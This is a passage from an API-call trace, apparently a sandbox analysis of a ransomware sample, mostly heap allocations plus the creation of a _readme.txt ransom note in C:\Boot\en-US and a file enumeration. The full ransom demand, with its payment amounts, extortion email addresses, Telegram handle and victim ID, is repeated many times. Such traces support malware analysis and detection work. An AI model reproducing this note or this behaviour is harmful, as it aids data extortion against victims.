lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.151] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.151] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.151] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.151] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.151] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.151] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.151] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.151] PathFindFileNameW (pszPath="") returned="" [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.151] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.151] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.152] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.152] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.152] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.152] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.152] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0059.152] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.152] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.152] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0059.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.153] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.153] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.153] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.153] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.153] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.154] CloseHandle (hObject=0x5c0) returned 1 [0059.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.155] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.155] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.155] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.155] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0059.155] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.155] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.155] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.155] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.156] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree 